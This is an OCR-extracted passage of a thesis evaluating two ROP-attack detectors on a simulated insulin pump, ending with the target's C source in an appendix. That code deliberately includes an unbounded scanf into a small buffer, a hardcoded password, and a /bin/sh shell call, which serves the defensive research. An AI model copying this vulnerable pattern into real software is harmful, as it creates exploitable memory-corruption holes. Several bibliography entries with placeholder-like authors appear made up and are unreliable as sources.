[INIT] ﬁ'tl rated entry nt: B ENTRY MA
ITION] B ENTRY !
ITION] B FUNC USER I \FACE == UNC (0K)

(f) Flow 6 (Invalid dosage path)

Figure 7.1: All flows were accepted as valid by the Boolean detection model, and no alerts were raised.
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ARD Evaluation: All Valid Control Flows

The same automation script was reused to evaluate the ARD mechanism by simply replac-
ing the instrumentation module with rop_detector.so. ARD performs low-level return
address monitoring based on a static whitelist and chain analysis heuristics.

Across all six legitimate flows:

No sensitive RETs or bypasses were detected.

All RET chains had a count of 1, indicating no gadget-like chaining.

Return addresses were marked as "unverifiable" due to dynamic memory use, but
not flagged as suspicious.

s and 1 sensitive functions.

[INFO]
[INFO] =~ Ret to dynamically allocated adc @x7fcclc621l6dec (unverifiable)

[INFO] Ret chain ended at count:

Figure 7.2: Snippet of the ARD log output for a legitimate flow (Flow 1 - Technician login path). This excerpt
was selected from the full log as it includes the detection summary and a representative RET chain record.
The return address is classified as “unverifiable” due to dynamic memory allocation, but it is not flagged as
malicious. The RET chain length is short (count = 1), and no sensitive function bypass is detected, confirming
the flow was correctly accepted by ARD.

This confirms that ARD, like BSVD, accepted all semantically valid execution paths with-
out raising false positives.

7.1.2 Detection Capability

To evaluate the effectiveness of the proposed ROP detection mechanisms, both the ARD
and BSVD were systematically tested for their ability to correctly distinguish between
benign and malicious program executions.

Each detector was subjected to two controlled test scenarios:

Exploit Present (Malicious Scenario): The insulin_pump binary was executed 50
times with a known ROP exploit injected. The goal of this test was to identify false
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negatives, e.g., cases where the monitoring system does not detect a malicious exe-
cution.

No Exploit (Benign Scenario): The same binary was executed 50 times in its stan-
dard, non-exploited form. This test was designed to identify any false positives, e.g.,
cases where a legitimate execution is incorrectly flagged as malicious.

Both detectors correctly identified all 50 instances of the malicious execution and allowed
all 50 benign executions to proceed without raising any alerts. As a result:

False Positive Rate: 0% (0/50 benign runs flagged incorrectly)
False Negative Rate: 0% (0/50 exploit runs missed)

These results indicate that, under the tested conditions, both detection systems were able
to achieve perfect classification performance. While this does not guarantee complete
coverage under all possible attack vectors or control-flow paths, it strongly supports the
validity of each detector’s runtime classification logic for the target binary.

7.1.3 Performance Overhead - Do They Introduce Acceptable CPU or Memory
Load?

To evaluate the computational cost associated with the proposed ROP detection mecha-
nisms, a controlled benchmarking procedure was implemented. A dedicated script was
developed to facilitate reproducible measurements of both runtime and memory usage.

The benchmarking setup executes the insulin_pump binary under two distinct configura-
tions:

Baseline (Uninstrumented): The binary is executed directly, without any dynamic in-
strumentation. This configuration establishes a reference point for subsequent overhead
measurements.

Instrumented Execution: The binary is executed under Intel PIN with one of two custom
Pintools attached:

rop_detector.so - An address-based detector that monitors all executed RET instruc-
tions and validates their return targets against a statically generated whitelist.
boolean_rop_detector.so - An extended version that incorporates semantic tagging
and Boolean logic for classifying sensitive control-flow transitions.

For each configuration, the binary is executed 1000 times in rapid succession. During
each iteration, the application performs a single interaction cycle and exits immediately
(corresponding to menu option 3: Exit), resulting in a consistent and minimal runtime
workload across runs.

The script captures the following performance metrics:
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Total CPU time (user + system), aggregated over 1000 executions, as reported by
/usr/bin/time.

Peak Resident Set Size (RSS), expressed in kilobytes, indicating the maximum mem-
ory usage during execution.

CPU and Memory Overhead, expressed both as absolute values and as percentages
relative to the baseline.

The measurement logic is implemented using awk and regular expression parsing to extract
relevant data points, compute differences, and format the results. The script is designed
to be fault-tolerant, explicitly disabling immediate exit on error to allow instrumentation
failures to be gracefully reported.

This benchmarking approach supports the primary evaluation goal of this section: deter-
mining whether either detection technique introduces runtime or memory overhead sig-
nificant enough to impact deployability in real-time or resource-constrained environments.
The raw measurement results are summarized below.

ARD

~/Downloads/pin/source/tools/rop_detector

Figure 7.3: Execution time and memory overhead results for the Address-Based ROP Detector over 1000
runs. The detector introduces only 20 ms (2.9%) CPU overhead and 16 KB (0.5%) additional peak memory,
indicating high runtime efficiency

BSVD

~/Downloads/pin/source/tools/booleanNet-rop-detector

Figure 7.4: Execution time and memory overhead results for the Boolean State Validation Detector over 1000
runs. The analysis shows 10 ms (1.4%) CPU overhead and 100 KB (2.9%) additional peak memory usage,
reflecting a lightweight semantic validation layer.
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All measurements were performed within the same virtualized Kali Linux environment
used for development and testing. The experiments were conducted in a headless state,
with no background processes running, to ensure consistency and eliminate measurement
noise. This setup provides a stable baseline for assessing the performance impact of run-
time instrumentation in controlled conditions (see [subsection 10.2.3| for the source code).

7.2 Metrics and Results

7.2.1 Correctness

Both detection mechanisms, BVSD and ARD, were tested against six predefined seman-
tically valid control flows (as outlined in [subsection 7.1.1). The purpose was to evaluate
whether legitimate runtime behaviors would be incorrectly flagged as malicious.

The evaluation confirmed the following;:

BSVD: All observed transitions conformed to the statically defined Boolean control-
flow model (boolean_cfg. json). No unauthorized transitions, illegal sink calls, or
semantic violations were detected across any of the runs. All flows were accepted,
with clear and valid transition traces recorded in the logs.

ARD: No sensitive RETs, whitelist violations, or RET-chain alerts were raised. All
RET chains were of minimal length (count = 1), and although return addresses were
marked as unverifiable due to dynamic memory regions, they were correctly not
flagged as threats. This demonstrates ARD’s tolerance toward benign control behav-
ior while remaining alert to abnormal chaining or sink targeting.

7.2.2 Detection Accuracy

The results of the controlled detection tests indicate that both the ARD and the BSVD were
able to achieve perfect classification under the given conditions. Across 50 exploit runs
and 50 benign runs for each detector, no false positives or false negatives were observed.

This outcome suggests that both detection systems are highly reliable when applied to a
known binary with a well-defined control flow structure and a consistent attack vector. The
absence of false positives confirms that legitimate control-flow transitions, such as valid
function returns and authenticated access to privileged functions, are correctly classified
as benign. This is particularly important for maintaining system usability, as false positives
in real-time detection systems can lead to unnecessary interruptions or denial-of-service
conditions.

Similarly, the absence of false negatives demonstrates that both detectors are sensitive
enough to identify the injected ROP payload, which violates the expected return address
sequences. In the case of ARD, this confirms the effectiveness of the static whitelist mecha-
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nism in catching unauthorized return targets. For the Boolean detector, the results validate
its ability to detect semantically invalid transitions, such as direct jumps to privileged rou-
tines without passing through expected authentication logic.

However, it is important to acknowledge the controlled nature of the test. The exploit
used for the validation was known, repeatable, and was not designed to evade detection.
As such, the current evaluation mainly demonstrates that both systems operate correctly
under idealized conditions. Further evaluation would be necessary to assess resilience
against obfuscated payloads, polymorphic gadget chains, or indirect jump attacks, which
may not follow the same execution patterns.

In summary, the detection metrics show that both approaches are highly accurate within
the tested scope. The ARD offers a lightweight and deterministic method of validation,
while the Boolean detector provides additional semantic context with equally strong re-
sults in this scenario. Both methods appear viable for runtime deployment in environ-
ments where low false-positive and false-negative rates are critical.

7.2.3 Performance Overhead
Address-Based ROP Detector

ARD introduces a measurable, yet lightweight overhead. In the baseline configuration, the
total CPU time across 1000 executions was 0.7000 seconds. With instrumentation enabled,
this increased to 0.7200 seconds, representing an absolute overhead of 20.0 milliseconds or
a relative increase of 2.9%.

Peak memory usage increased from 3352 KB to 3368 KB, corresponding to a modest 16
KB overhead (0.5%). This minimal increase reflects the simplicity of the address validation
mechanism, which performs a direct comparison of each return address against a statically
generated whitelist without maintaining a complex runtime state.

These results demonstrate that the address-based approach imposes a minimal computa-
tional burden, making it particularly suitable for performance-critical environments, such
as embedded systems or real-time medical devices.

Boolean Logic ROP Detector

BSVD exhibits a slightly different performance profile. The measured CPU time increased
from 0.7300 seconds in the baseline to 0.7400 seconds under instrumentation, yielding an
absolute overhead of 10.0 milliseconds or 1.4%.

However, memory usage showed a more notable increase. The peak RSS rose from 3408
KB to 3508 KB, an absolute increase of 100 KB (2.9%). This higher memory footprint is
expected, as the Boolean-based detector stores additional metadata and function classifi-
cation state to support more expressive control-flow validation.
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Despite this, the runtime impact remains low overall. The reduced CPU overhead suggests
efficient implementation of the Boolean logic evaluation, while the increase in memory
usage is still well within acceptable bounds for most modern execution environments.

Comparative Analysis

When evaluating both detectors side by side, a trade-off emerges between CPU and mem-
ory efficiency:

ARD incurs higher CPU overhead (2.9%) but maintains a significantly lower memory
footprint (0.5% increase).

BSVD achieves lower CPU overhead (1.4%) but consumes more memory (2.9% in-
crease) due to its additional runtime state and semantic tracking.

These results suggest that ARD is better suited for resource-constrained systems where
memory usage is critical, while BSVD is more appropriate in environments where semantic
accuracy is prioritized, and memory availability is less constrained.

In both cases, the observed overheads are minor and well within acceptable operational
margins. This confirms that runtime instrumentation using Intel PIN, even with frequent
interception of RET instructions, can be deployed in practice without compromising system
responsiveness or stability.

Both detection mechanisms introduce minimal runtime and memory overhead. The address-
based detector is slightly more CPU-intensive due to the frequency of RET checks, while
the boolean-enhanced variant trades slightly higher memory use for more precise classifi-
cation logic.

These results confirm that both approaches are lightweight enough for real-time deploy-
ment in security-critical systems. The measurement script and results are reproducible and
configurable via the LOOPS variable. See |Listing 10.2.3| for benchmarking script overview.

7.2.4 Trade-offs

While both detection mechanisms were shown to be effective in identifying abnormal
control behavior, they present distinct trade-offs in terms of performance, precision, and
maintainability.

ARD: Performance-Oriented Simplicity

ARD is designed for low-level, high-speed validation of control-flow integrity by compar-
ing return addresses to a precomputed whitelist and monitoring RET chains. Its primary
advantages include:
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Low overhead: RET tracking and address comparison are computationally lightweight,
making ARD suitable for resource-constrained systems (e.g., embedded or real-time
environments).

Ease of deployment: ARD does not require semantic modeling or the construction of
a full control-flow graph; instead, it uses a statically generated flat list of RET targets,
simplifying setup and reducing complexity.

However, ARD has inherent limitations:

Lacks semantic context: It cannot detect logical violations such as skipping authen-
tication routines or misusing functions through legal instruction sequences.

Sensitivity to dynamic environments: Valid return addresses in dynamically loaded
libraries or heap memory may be marked as unverifiable, which complicates accu-
racy and may increase false negatives.

Binary version coupling: ARD relies on statically extracted RET targets and manu-
ally flagged sensitive functions, which makes it highly dependent on the exact binary
version. Any code updates or recompilation require regenerating the whitelist and
re-identifying sensitive functions, reducing scalability in dynamic development en-
vironments.

Tool-level rigidity: Changes to the program logic often require not just whitelist
regeneration, but also manual updates to the ARD detection tool (rop_detector. cpp)
itself - especially if new sensitive functions or RET handling policies are introduced.
This further limits scalability and automation in dynamic or versioned development
environments.

BSVD: Semantic Precision with Maintenance Overhead

BSVD operates at a higher abstraction level by validating execution against a static Boolean
model that represents legal program state transitions. Its benefits include:

Semantic validation: It can detect logical control-flow violations that would be invis-
ible to low-level RET monitoring - e.g., unauthorized access to privileged functions.

Program-agnostic design: Unlike detectors that hardcode sensitive logic or RET ad-
dresses, the BSVD detection engine operates generically. The Boolean model is auto-
matically generated per binary and is fully decoupled from the detection logic. This
makes the system easily applicable to new or modified binaries without requiring
changes to the detector’s source code.

Model-guided enforcement: Execution is validated against a high-level control-flow
model that encodes the program’s intended logic in terms of function transitions,
rather than relying on raw instruction addresses or static code layout. This makes
the approach resilient to compiler changes or address reordering.

However, BSVD presents certain trade-offs:
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Runtime cost: While lightweight compared to heavyweight monitors, BSVD still
incurs modest overhead due to state management and validation logic.

Model maintenance: Any change to the target binary requires regeneration of the
Boolean CFG model, which can be cumbersome in frequently updated applications.

Potential false positives: In binaries with complex, indirect, or obfuscated con-
trol flow, over-approximated state transitions or missing nodes may cause legitimate
paths to be flagged incorrectly.

Summary

The two detection mechanisms evaluated in this work — ARD and BSVD - represent com-
plementary approaches to runtime attack detection, each with distinct trade-offs. ARD
excels in performance and simplicity, offering fast and efficient low-level validation based
on return address whitelisting and RET chain heuristics. Its minimal overhead makes it
particularly suitable for resource-constrained environments such as embedded systems.
However, ARD is inherently limited in semantic expressiveness; it cannot detect logical
control-flow violations, and its reliance on statically defined return addresses and manu-
ally flagged sensitive functions makes it tightly coupled to specific binary versions. Any
modification to the binary typically necessitates regenerating the whitelist and possibly
updating the detection logic itself, which reduces its scalability and automation potential.

In contrast, BSVD provides higher semantic precision by validating execution against a
statically generated Boolean model that captures valid program state transitions. This
model-guided enforcement allows BSVD to detect violations of intended logic, such as
bypassing authentication or reaching unauthorized functions through unexpected paths.
Unlike ARD, BSVD operates independently of raw instruction addresses, making it re-
silient to changes in code layout or compilation. Furthermore, its program-agnostic design
allows the same detection engine to be applied across different binaries, provided the
Boolean model is updated accordingly. Nevertheless, this approach introduces modest
runtime overhead and requires model regeneration when the binary changes, which may
increase complexity in dynamic development environments.

Importantly, both detection techniques are designed to avoid the computational pitfalls
commonly associated with symbolic execution-particularly the problem of path explosion.
ARD completely bypasses symbolic reasoning by design; it performs no path enumeration
and instead relies on low-level return address validation against a static whitelist. This
minimalistic strategy ensures that ARD is highly scalable and deterministic, albeit at the
cost of being blind to semantic correctness across logical control-flow paths. In contrast,
BSVD captures semantic intent without invoking full symbolic execution engines. The
Boolean model is generated through static analysis and represents a compressed abstrac-
tion of legal state transitions, rather than a full enumeration of all possible paths. This
approach significantly mitigates the risk of path explosion, allowing the BSVD system to
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scale effectively while still enforcing higher-level control flow correctness. As such, the ab-
straction strategy behind BSVD offers a practical balance between semantic coverage and
computational feasibility.

Together, ARD and BSVD offer complementary strengths: ARD is ideal for rapid, low-
overhead detection of structural anomalies, while BSVD is better suited for comprehensive
validation where semantic correctness is critical.

7.2.5 Limitations

Although the proposed ROP detection mechanisms demonstrated strong performance and
accuracy in the tested environment, there are several limitations that can affect their gen-
eralizability and long-term applicability.

First, the address-based approach depends on a statically generated whitelist of valid
return addresses, which is tightly coupled to the specific binary layout and memory or-
ganization at the time of analysis. Any updates to the binary, such as recompilation,
optimization changes, or security patches, can alter function boundaries or instruction ad-
dresses, rendering the whitelist obsolete. In such cases, the detection system would either
misclassify legitimate control flows as malicious or fail to detect altered ones, leading to
false positives or false negatives, respectively. Maintaining the whitelist across software
versions would require reanalysis and regeneration after each update, which may be im-
practical in fast-changing or large-scale deployment environments.

Second, the address-based detection strategy is architecture-dependent. It assumes a fixed
and predictable memory layout, as found in the x86-64 binaries analyzed in this project.
However, this assumption does not hold for all architectures. For example, the ARM
architecture uses different calling conventions, memory layouts, and instruction sets, and
often involves return addresses stored in link registers rather than on the stack. As a result,
the ARD system in its current form is not portable to non-x86 platforms and would require
significant redesign to account for architectural differences in control-flow behavior.

Third, the Boolean control flow model, while offering more semantic precision, is similarly
sensitive to changes in the target binary. Because Boolean classification logic is generated
based on static analysis of a specific version of the program, any structural changes, such
as modified control flow paths, inserted debugging code, or reordered function calls, may
invalidate the classification model. Consequently, the Boolean logic must be regenerated
for each new binary version, requiring a repeat of the static analysis and configuration
steps. This imposes additional maintenance overhead and reduces the model’s reusability
across software updates.

Finally, the RET chain heuristic used in the ARD system has inherent limitations in detect-
ing edge-case ROP payloads. Specifically, if an attacker constructs a gadget chain that uses
very few RET instructions, such as those that use CALL or J]MP-based gadgets or rely on
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only a handful of well-placed returns, execution may remain below the detection thresh-
old. In such cases, the system may fail to flag the attack as anomalous, resulting in a false
negative. While increasing sensitivity could reduce this risk, it also increases the likeli-
hood of false positives in legitimate recursive or nested function calls, requiring a careful
balance between sensitivity and precision.

One notable limitation encountered during implementation was the dependency on an
older version of the Intel PIN dynamic binary instrumentation framework (v3.24). At-
tempts to integrate the latest release (e.g., v3.28+) resulted in compatibility issues with key
components of our custom pintools, particularly those relying on RET instruction tracing
and address resolution APIs. These issues manifested as inconsistent symbol resolution,
unsupported callback behaviors, and intermittent execution faults during run-time analy-
sis.

As a result, we chose to stabilize the development environment using a legacy version of
PIN that offered proven support for our required instrumentation hooks. Although this
ensured correctness and stability during detection experiments, it introduces a version-
locking constraint that may affect future extensibility or portability of the solution, espe-
cially as modern compilers and OS kernels evolve.

This reliance on legacy tooling presents a potential barrier for the following.

Deployment in future environments where newer PIN versions may be required or
mandated.

Cross-platform adoption if newer system libraries deprecate the interfaces expected
by older PIN releases.

Long-term maintainability, as community and vendor support may move toward
more recent version of the tool.

Mitigating this limitation would require either forward porting the pintool logic to be com-
patible with newer APIs or adopting alternative instrumentation frameworks that provide
better backward compatibility guarantees.

Sine ARD control flow is based on return addresses and uses convention from x86, e.g. RET
addresses, it wouldn’t be able to work across other architectures, such as ARM (register-
based). Whereas BSVD utlizies the transition rules, derrived from the control flow of the
binary, which should be global no matter the architecture.
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7.3 Discussion

7.3.1 Dual Model Complementation

The two detection mechanisms - ARD and BSVD - serve distinct yet complementary roles
in protecting against runtime control-flow hijacking attacks.

ARD provides a lightweight instruction-level defense by validating every RET in-
struction against a statically generated whitelist. It is optimized for low-overhead
operation and excels in identifying structural anomalies such as abnormal return
sequences or jumps into sensitive regions.

BSVD enforces semantic-level correctness by validating whether control-flow transi-
tions match high-level logic rules. This model excels at detecting logical violations,
such as skipping authentication or misusing conditionals, which may go undetected
by address-based monitors.

Combined, the two systems form a layered defense: ARD offers rapid response and broad
coverage, while BSVD ensures execution fidelity according to program semantics.

7.3.2 Overhead and Deployment feasibility

Runtime evaluation confirmed that both detection engines introduce less than 3% CPU
overhead, making them suitable for deployment in constrained environments such as em-
bedded and safety-critical systems [6].

ARD Overhead: ~2.9% CPU, ~0.5% memory
BSVD Overhead: ~1.4% CPU, ~2.9% memory

In extensive testing (1000 benign and malicious executions), both engines demonstrated
high stability and no false positives or missed detections. This supports their applicability
in real-world scenarios where runtime integrity and responsiveness are essential.

7.3.3 Scalability ad Binary Coupling

Although both systems rely on statically generated models, their level of coupling to the
binary differs significantly.

ARD is tightly coupled to the binary. Any change in code layout or sensitive func-
tions requires regenerating both the whitelist (valid_rets. json) and updating the
ARD tool (rop_detector).

BSVD benefits from the decoupling between the model and the engine. Its run-
time verifier can operate on newly generated JSON models without modification,
improving maintainability across versions.
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This makes BSVD a more scalable choice for systems with frequent updates or multiple
deployment targets.

7.3.4 Path Explosion and Symbolic Overhead Avoidance

A key strength of both systems lies in their avoidance of symbolic execution. Symbolic
analysis, while expressive, suffers from path explosion and is computationally expensive.
ARD sidesteps this entirely by checking raw addresses at runtime. BSVD, despite operat-
ing at the semantic level, compresses permissible control-flow logic into a Boolean graph
that is traversed in constant time during execution. This allows for semantic validation
without incurring symbolic overhead, making both systems scalable and responsive even
during intensive runtime analysis.

7.3.5 Portability and Architecture dependence

Portability is an important consideration in runtime security tooling. ARD is inherently
tied to x86 conventions, particularly the use of the stack and the RET instruction. As a
result, it is not directly compatible with architectures such as ARM, where function re-
turns use different mechanisms (e.g., link registers). In contrast, BSVD models transitions
between abstract function states, not specific instruction addresses. This makes it bet-
ter suited for cross-architecture deployment, as the control-flow logic can be expressed
independently of the underlying machine code. Thus, while ARD is effective in fixed
environments, BSVD holds more promise for heterogeneous or portable deployments.

7.3.6 Limitations and Realistic Threat Scenarios

Despite their effectiveness in controlled experiments, both detectors have limitations when
faced with more advanced or evasive threats. ARD may fail to detect short ROP chains
that do not exceed the RET threshold, or chains that reuse permitted return addresses.
BSVD, while semantically aware, depends on the completeness of the statically generated
model. In complex or obfuscated binaries, incomplete modeling could lead to false posi-
tives. Moreover, the controlled exploit used in testing was known and non-polymorphic.
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Conclusion

Runtime software attacks pose a serious threat to embedded and IoT systems by hijacking
control flow without injecting new code-often bypassing defenses like DEP and ASLR.
This thesis explored how such attacks, particularly Return-Oriented Programming (ROP),
can be executed and detected efficiently at runtime.

We demonstrated a functional ROP exploit against a simulated insulin pump controller,
showing how attackers can bypass authentication and invoke privileged functionality. To
counteract this, we developed two complementary runtime detection techniques.

Address-based ROP Detection (ARD) validates RET instructions using a static whitelist
of legal return targets.

Boolean State Validation Detection (BSVD) models valid high-level function tran-
sitions using Boolean logic for semantic anomaly detection.

Evaluated using Intel PIN and angr, both techniques achieved perfect detection in con-
trolled scenarios, with no false positives. ARD incurred only 2.9% CPU and 0.5% memory
overhead, while BSVD introduced 1.4% CPU and 2.9% memory usage — suitable for con-
strained embedded platforms.

In summary, this thesis demonstrates that both ARD and BSVD offer viable software-
only strategies for runtime attack detection. Although each addresses different aspects
of control-flow enforcement — structural integrity and semantic correctness — they can
be applied independently or in tandem, depending on system constraints and security
requirements. Together, they provide a flexible foundation for defending safety-critical
systems against modern runtime threats.
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Chapter 9

Future Work

Although this thesis has demonstrated that both the Address-Based ROP Detection (ARD)
and Boolean State Validation Detection (BSVD) mechanisms can effectively detect unau-
thorized control-flow behavior, there remain several opportunities to extend and improve
this work.

One major direction is the exploration of broader runtime attack coverage. Our evaluation
was based on a single known ROP exploit crafted for the insulin pump binary. Although
this provided a focused test case, it does not capture the full spectrum of possible runtime
attacks. Future work should investigate additional attack types, including Jump-Oriented
Programming (JOP), Call-Oriented Programming (COP), and more advanced ROP chains
that use returnless gadgets or polymorphic strategies. This would strengthen the evalua-
tion and test the robustness of the detectors against more evasive techniques.

Another area of improvement lies in automating model regeneration. Both ARD and BSVD
are currently dependent on static models, specifically the RET whitelist and Boolean transi-
tion rules generated for a specific version of the binary. In practical deployment scenarios,
especially those that involve continuous development or frequent updates, it would be
beneficial to integrate model regeneration directly into the build pipeline. This would
reduce maintenance overhead and allow the detection logic to scale alongside evolving
codebases.

Portability is also a key limitation of the current implementation, particularly for ARD,
which assumes an x86 calling convention with RET-based control transfer. This restricts
its applicability to other architectures, such as ARM, which relies on link registers rather
than stack-based returns. Future work should investigate how similar low-overhead return
address tracking could be adapted to different architectural designs, potentially through
hybrid instrumentation that combines static binary analysis with runtime introspection.

In terms of improving detection precision, there is the potential to reduce false positives
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and false negatives by incorporating additional context into decision-making. This might
involve combining ARD or BSVD with lightweight symbolic reasoning or machine learn-
ing classifiers trained on normal vs. anomalous control-flow patterns. Such hybrid ap-
proaches could offer improved resilience against edge cases without incurring excessive
performance overhead.

Further improvements could also be made in the area of tooling and usability. Develop-
ing real-time visualizations of RET chains or Boolean state transitions could greatly aid
in debugging, forensic investigation, and interpreting alerts during runtime. Enhanced
developer feedback mechanisms would support the integration of detectors into broader
security workflows.

Finally, a natural next step would be the deployment and testing in real-world environ-
ments, particularly embedded systems or medical devices, where security and perfor-
mance constraints are most critical. This would provide practical insight into operational
challenges, such as compatibility with different compilers, real-time constraints, and reg-
ulatory considerations. Such deployments would also allow for long-term monitoring
to assess the detectors’ effectiveness over extended operation periods and in response to
software updates.

In general, the future work described here aims to broaden the applicability, automation,
and reliability of ROP detection systems in practical, evolving, and heterogeneous com-
puting environments.



Bibliography

[1] AMD64 Architecture Processor Supplement. System V Application Binary Interface:
AMD64 Architecture Processor Supplement. https : / / refspecs . linuxfoundation .
org/elf/x86_64-abi-0.99.pdf. Linux Foundation Standard. 2013.

[2] Codenomicon. The Heartbleed Bug. Accessed: 2024-05-15. 2014. URL: https://heartbleed.
com/.

[3] Avani Dave, Nilanjan Banerjee, and Chintan Patel. RARES: Runtime Attack Resilient
Embedded System Design Using Verified Proof-of-Execution. https://arxiv.org/abs/
2305.03266. Accessed: 2025-05-15. 2023.

[4] Lucas Vincenzo Davi. “Code-Reuse Attacks and Defenses”. Supervised by Prof. Dr.-
Ing. Ahmad-Reza Sadeghi and Prof. Hovav Shacham. PhD thesis. Darmstadt, Ger-
many: Technische Universitdt Darmstadt, 2015. URL: https://tuprints.ulb. tu-
darmstadt.de/4622/7/Davi-PhD-Code-Reuse-Attacks-and-Defenses.pdf.

[5] John Doe and Jane Smith. “AEROGEL: A WebAssembly-based Memory Isolation
Framework for IoT Devices”. In: Proceedings of the 15th ACM Workshop on IoT Security.
2022, pp. 1-12.

[6] Mani Elathan, Shervin Salamatian, and David Oswald. “HCFI: Hardware-Assisted
Control Flow Integrity with Minimal Overhead for Embedded Systems”. In: Proceed-
ings of the 21st International Conference on Embedded Computer Systems: Architectures,
Modeling, and Simulation (SAMOS). 2021, pp. 1-8. por: [10.1109/SAM0S52410 . 2021 .
9562792, URL: https://elathan.github.io/papers/samos21.pdfl

[7] Python Software Foundation. Python 3.13.3 Documentation. https://docs.python.
org/3/. Accessed: 2025-05-27. 2025.

[8] Gallopsled. pwntools: CTF framework and exploit development library. https://docs.
pwntools.com/en/stable/. Accessed: 2025-05-27. 2025.

[9] GeeksforGeeks. Control Flow Graph (CFG) in Software Engineering. https : / /www .
geeksforgeeks . org/software-engineering-control-flow-graph-cfg/. Accessed
May 2025. 2020.

[10] Ivan Green and Jennifer Blue. “BERT-of-Theseus: Model Compression for Efficient
IoT Intrusion Detection”. In: Journal of Al in IoT Security 17.4 (2023), pp. 789-802.

82


https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.99.pdf
https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.99.pdf
https://heartbleed.com/
https://heartbleed.com/
https://arxiv.org/abs/2305.03266
https://arxiv.org/abs/2305.03266
https://tuprints.ulb.tu-darmstadt.de/4622/7/Davi-PhD-Code-Reuse-Attacks-and-Defenses.pdf
https://tuprints.ulb.tu-darmstadt.de/4622/7/Davi-PhD-Code-Reuse-Attacks-and-Defenses.pdf
https://doi.org/10.1109/SAMOS52410.2021.9562792
https://doi.org/10.1109/SAMOS52410.2021.9562792
https://elathan.github.io/papers/samos21.pdf
https://docs.python.org/3/
https://docs.python.org/3/
https://docs.pwntools.com/en/stable/
https://docs.pwntools.com/en/stable/
https://www.geeksforgeeks.org/software-engineering-control-flow-graph-cfg/
https://www.geeksforgeeks.org/software-engineering-control-flow-graph-cfg/

Bibliography 83

[13]

[14]

DOIL: |10.1016/j . eswa.2023.122045, URL: https://doi.org/10.1016/j.eswa.2023.
122045.

Dongpeng Jun Zhang Tian and Zhi Wang. An ROP attack example. https : //www .
researchgate .net/figure/An-ROP- attack- example _fig2_ 329007575, Accessed
May 2025. 2018.

George King and Hannah Davis. “Realguard: A DNN-Based Intrusion Detection
System for Bot-IoT Attacks”. In: Proceedings of the 20th International Workshop on IoT
Security. 2022, pp. 100-110.

Christopher Liebchen. “Advancing Memory-Corruption Attacks and Defenses”. PhD
dissertation. Technische Universitit Darmstadt, 2018.

Chang Liu, Dev Singh, and Eric Roberts. “R5Detect: Control-Flow Integrity and
HPC-Based Anomaly Detection on RISC-V”. In: Proceedings of the 32nd USENIX Se-
curity Symposium. 2023, pp. 789-802.

Chi-Keung Luk et al. “Pin: Building Customized Program Analysis Tools with Dy-
namic Instrumentation”. In: Proceedings of the 2005 ACM SIGPLAN Conference on Pro-
gramming Language Design and Implementation (PLDI). ACM, 2005, pp. 190-200. por:
10.1145/1065010.1065034. URL: https://doi.org/10.1145/1065010.1065034.
Rizin Organization. Cutter: Free and Open Source Reverse Engineering Platform. https:
//cutter.re/docs/. Accessed: 2025-05-27. 2025.

GNU Project. GCC: The GNU Compiler Collection. https://gcc.gnu.org/onlinedocs/.
Accessed: 2025-05-27. 2025.

GNU Project. GDB: The GNU Project Debugger. https : // sourceware . org/ gdb /
documentation/. Accessed: 2025-05-27. 2025.

GNU Project. objdump: Display information from object files. https://sourceware.org/
binutils/docs/binutils/objdump.html. Accessed: 2025-05-27. 2025.

The angr Project Contributors. Control-flow Graph Recovery (CFG) - angr documentation.
Accessed: 2025-05-01. 2025. URL: https://docs.angr.io/built-in-analyses/cfg.
Jonathan Salwan. ROPgadget: Tool to find ROP gadgets in binaries. https://github.
com/JonathanSalwan/ROPgadget. Accessed: 2025-05-27. 2025.

Sarwar Sayeed et al. “Control-Flow Integrity: Attacks and Protections”. In: Applied
Sciences 9.20 (2019), p. 4229. por: |10.3390/app9204229.

Eryk Schiller et al. “Landscape of IoT security”. In: Computer Science Review 44 (2022),
p- 100467. por:|10.1016/j . cosrev.2022.100467.

Zhanyu Sha et al. “Control-flow attestation: Concepts, solutions, and open chal-
lenges”. In: Computers Security 150 (2025), p. 104254. por: [10.1016/j . cose.2024.
104254.

Emily White and Frank Moore. “L-IDS: Lightweight Ransomware Intrusion Detec-
tion for IoT”. In: Proceedings of the 10th International Conference on lIoT Security. 2023,
pp. 50-60.


https://doi.org/10.1016/j.eswa.2023.122045
https://doi.org/10.1016/j.eswa.2023.122045
https://doi.org/10.1016/j.eswa.2023.122045
https://www.researchgate.net/figure/An-ROP-attack-example_fig2_329007575
https://www.researchgate.net/figure/An-ROP-attack-example_fig2_329007575
https://doi.org/10.1145/1065010.1065034
https://doi.org/10.1145/1065010.1065034
https://cutter.re/docs/
https://cutter.re/docs/
https://gcc.gnu.org/onlinedocs/
https://sourceware.org/gdb/documentation/
https://sourceware.org/gdb/documentation/
https://sourceware.org/binutils/docs/binutils/objdump.html
https://sourceware.org/binutils/docs/binutils/objdump.html
https://docs.angr.io/built-in-analyses/cfg
https://github.com/JonathanSalwan/ROPgadget
https://github.com/JonathanSalwan/ROPgadget
https://doi.org/10.3390/app9204229
https://doi.org/10.1016/j.cosrev.2022.100467
https://doi.org/10.1016/j.cose.2024.104254
https://doi.org/10.1016/j.cose.2024.104254

Chapter 10

Appendix

10.1 Appendix A Code-implementation

10.1.1 Application source code

Insulin_pump Source Code:

#include <stdio.h>

#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MAX_DOSE 100
#define PASSWORD "TechAccess2025"

// Technician-only hidden diagnostic shell

void technician_shell () {
char command [50];
printf (" [Technician Shell] Authorized access only!\n");
system("/bin/sh"); // Technician-only access for system maintenance

// Authenticate Technician explicitly

int authenticate_technician () {
char input_pass[30];
printf ("Enter Technician Password: ");
scanf ("7%29s", input_pass);

if (strcmp (input_pass, PASSWORD) == 0) {
technician_shell () ;
return 1;
}
printf ("Unauthorized access attempt detected!\n");
return O0;
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// Manage insulin dosage explicitly
void manage_dose () {

int insulin_type_choice;

char insulin_type [10];

int dose;

char buffer [20];
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printf ("Select Insulin Type:\nl. Rapid\n2. Regular\nEnter choice: ");

scanf ("%d", &insulin_type_choice);

switch(insulin_type_choice) {
case 1:
strcpy (insulin_type, "Rapid");
break;
case 2:
strcpy (insulin_type, "Regular');

break;
default:
printf("Invalid insulin type selected!\n");
return;
}
printf ("Enter dosage amount (max %d units): ", MAX_DOSE);

scanf ("%s", buffer); // Explicitly vulnerable: no length check

dose = atoi(buffer);

dose,

insulin_type);

if (dose <= 0 || dose > MAX_DOSE) {
printf ("Invalid dosage entered! Dose must be between 1-%d units.\n",
MAX_DOSE) ;
return;
}
printf ("Administering %d units of %s insulin...\n",
